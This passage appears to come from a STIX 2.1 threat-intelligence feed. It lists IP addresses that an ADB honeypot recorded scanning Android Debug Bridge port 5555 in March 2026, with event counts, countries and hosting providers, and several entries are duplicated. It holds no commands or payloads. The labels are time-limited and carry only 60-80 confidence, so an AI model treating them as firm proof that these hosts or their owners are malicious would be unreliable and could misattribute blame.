      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-15T19:37:59.000Z | last_seen=2026-03-15T19:39:33.176Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:00:02.000Z",
      "valid_until": "2026-04-16T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-15T19:37:59.000Z",
          "last_seen": "2026-03-15T19:39:33.176Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-15T19:29:00.000Z | last_seen=2026-03-15T19:40:00.030Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--0849b532-99a3-4ccf-99ce-f430f021d261",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.190.214.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:00:02.000Z",
      "valid_until": "2026-04-16T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-15T19:29:00.000Z",
          "last_seen": "2026-03-15T19:40:00.030Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-15T19:37:59.000Z | last_seen=2026-03-15T19:39:33.176Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--f68deffc-e16a-4131-acf1-a1abfc2bb9de",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:00:02.000Z",
      "valid_until": "2026-04-16T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-15T19:37:59.000Z",
          "last_seen": "2026-03-15T19:39:33.176Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=MN; asn=45204; asn_org=GEMNET LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-15T20:02:54.000Z | last_seen=2026-03-15T20:13:05.766Z | ports=5555 | cc=MN | asn=45204 | org=GEMNET LLC",
      "id": "indicator--22d6e4b8-565a-4b96-9d65-39d02822e395",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '180.149.125.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:00:02.000Z",
      "valid_until": "2026-04-16T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-15T20:02:54.000Z",
          "last_seen": "2026-03-15T20:13:05.766Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MN"
          ],
          "asn": [
            "45204"
          ],
          "org": [
            "GEMNET LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=109; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=109 | first_seen=2026-03-15T22:29:49.000Z | last_seen=2026-03-15T22:52:24.913Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--548186a9-42d8-431f-8347-9af95df54cdd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.235.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T23:00:02.000Z",
      "valid_until": "2026-04-16T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 109,
          "first_seen": "2026-03-15T22:29:49.000Z",
          "last_seen": "2026-03-15T22:52:24.913Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T23:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=109; ports=5555; cc=US; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=109 | first_seen=2026-03-15T22:29:49.000Z | last_seen=2026-03-15T22:52:24.913Z | ports=5555 | cc=US | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--548186a9-42d8-431f-8347-9af95df54cdd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.235.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T23:00:04.000Z",
      "valid_until": "2026-04-16T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 109,
          "first_seen": "2026-03-15T22:29:49.000Z",
          "last_seen": "2026-03-15T22:52:24.913Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=IR; asn=213790; asn_org=Limited Network LTD; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T01:28:26.000Z | last_seen=2026-03-16T01:29:34.000Z | ports=5555 | cc=IR | asn=213790 | org=Limited Network LTD",
      "id": "indicator--d616489e-d714-40ad-a552-abbad76c0a27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T02:00:03.000Z",
      "valid_until": "2026-04-17T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T01:28:26.000Z",
          "last_seen": "2026-03-16T01:29:34.000Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IR"
          ],
          "asn": [
            "213790"
          ],
          "org": [
            "Limited Network LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-16T02:20:09.000Z | last_seen=2026-03-16T02:30:16.947Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.144.44.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:00:04.000Z",
      "valid_until": "2026-04-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-16T02:20:09.000Z",
          "last_seen": "2026-03-16T02:30:16.947Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T03:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-16T02:34:32.000Z | last_seen=2026-03-16T02:44:40.854Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--c841d7a3-0211-4471-b6da-76cfee1b6b5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.248.59.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:00:04.000Z",
      "valid_until": "2026-04-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-16T02:34:32.000Z",
          "last_seen": "2026-03-16T02:44:40.854Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-16T02:20:09.000Z | last_seen=2026-03-16T02:30:16.947Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--24788ee2-bbd4-4f54-826b-9882cacf540b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.144.44.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:00:05.000Z",
      "valid_until": "2026-04-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-16T02:20:09.000Z",
          "last_seen": "2026-03-16T02:30:16.947Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T03:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-16T02:34:32.000Z | last_seen=2026-03-16T02:44:40.854Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--c841d7a3-0211-4471-b6da-76cfee1b6b5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '36.248.59.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T03:00:05.000Z",
      "valid_until": "2026-04-17T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-16T02:34:32.000Z",
          "last_seen": "2026-03-16T02:44:40.854Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T03:55:02.000Z | last_seen=2026-03-16T03:56:09.776Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--a271cee7-7e51-4f94-851e-026487b703da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '1.30.108.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:00:04.000Z",
      "valid_until": "2026-04-17T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T03:55:02.000Z",
          "last_seen": "2026-03-16T03:56:09.776Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-16T03:53:31.000Z | last_seen=2026-03-16T03:54:47.158Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--6255909a-ec1c-41de-aca7-13e5a38b7a30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:00:04.000Z",
      "valid_until": "2026-04-17T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-16T03:53:31.000Z",
          "last_seen": "2026-03-16T03:54:47.158Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T03:55:02.000Z | last_seen=2026-03-16T03:56:09.776Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--a271cee7-7e51-4f94-851e-026487b703da",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '1.30.108.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:00:04.000Z",
      "valid_until": "2026-04-17T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T03:55:02.000Z",
          "last_seen": "2026-03-16T03:56:09.776Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=LT; asn=209605; asn_org=UAB Host Baltic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-16T03:53:31.000Z | last_seen=2026-03-16T03:54:47.158Z | ports=5555 | cc=LT | asn=209605 | org=UAB Host Baltic",
      "id": "indicator--6255909a-ec1c-41de-aca7-13e5a38b7a30",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T04:00:04.000Z",
      "valid_until": "2026-04-17T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-16T03:53:31.000Z",
          "last_seen": "2026-03-16T03:54:47.158Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LT"
          ],
          "asn": [
            "209605"
          ],
          "org": [
            "UAB Host Baltic"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-16T05:15:46.000Z | last_seen=2026-03-16T05:16:51.220Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--285529bf-4b65-47c5-9874-7dc2d0a241a2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.3.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-16T06:00:04.000Z",
      "valid_until": "2026-04-17T06:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-16T05:15:46.000Z",
          "last_seen": "2026-03-16T05:16:51.220Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-16T06:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-16T05:32:29.000Z | last_seen=2026-03-16T05:43:56.652Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
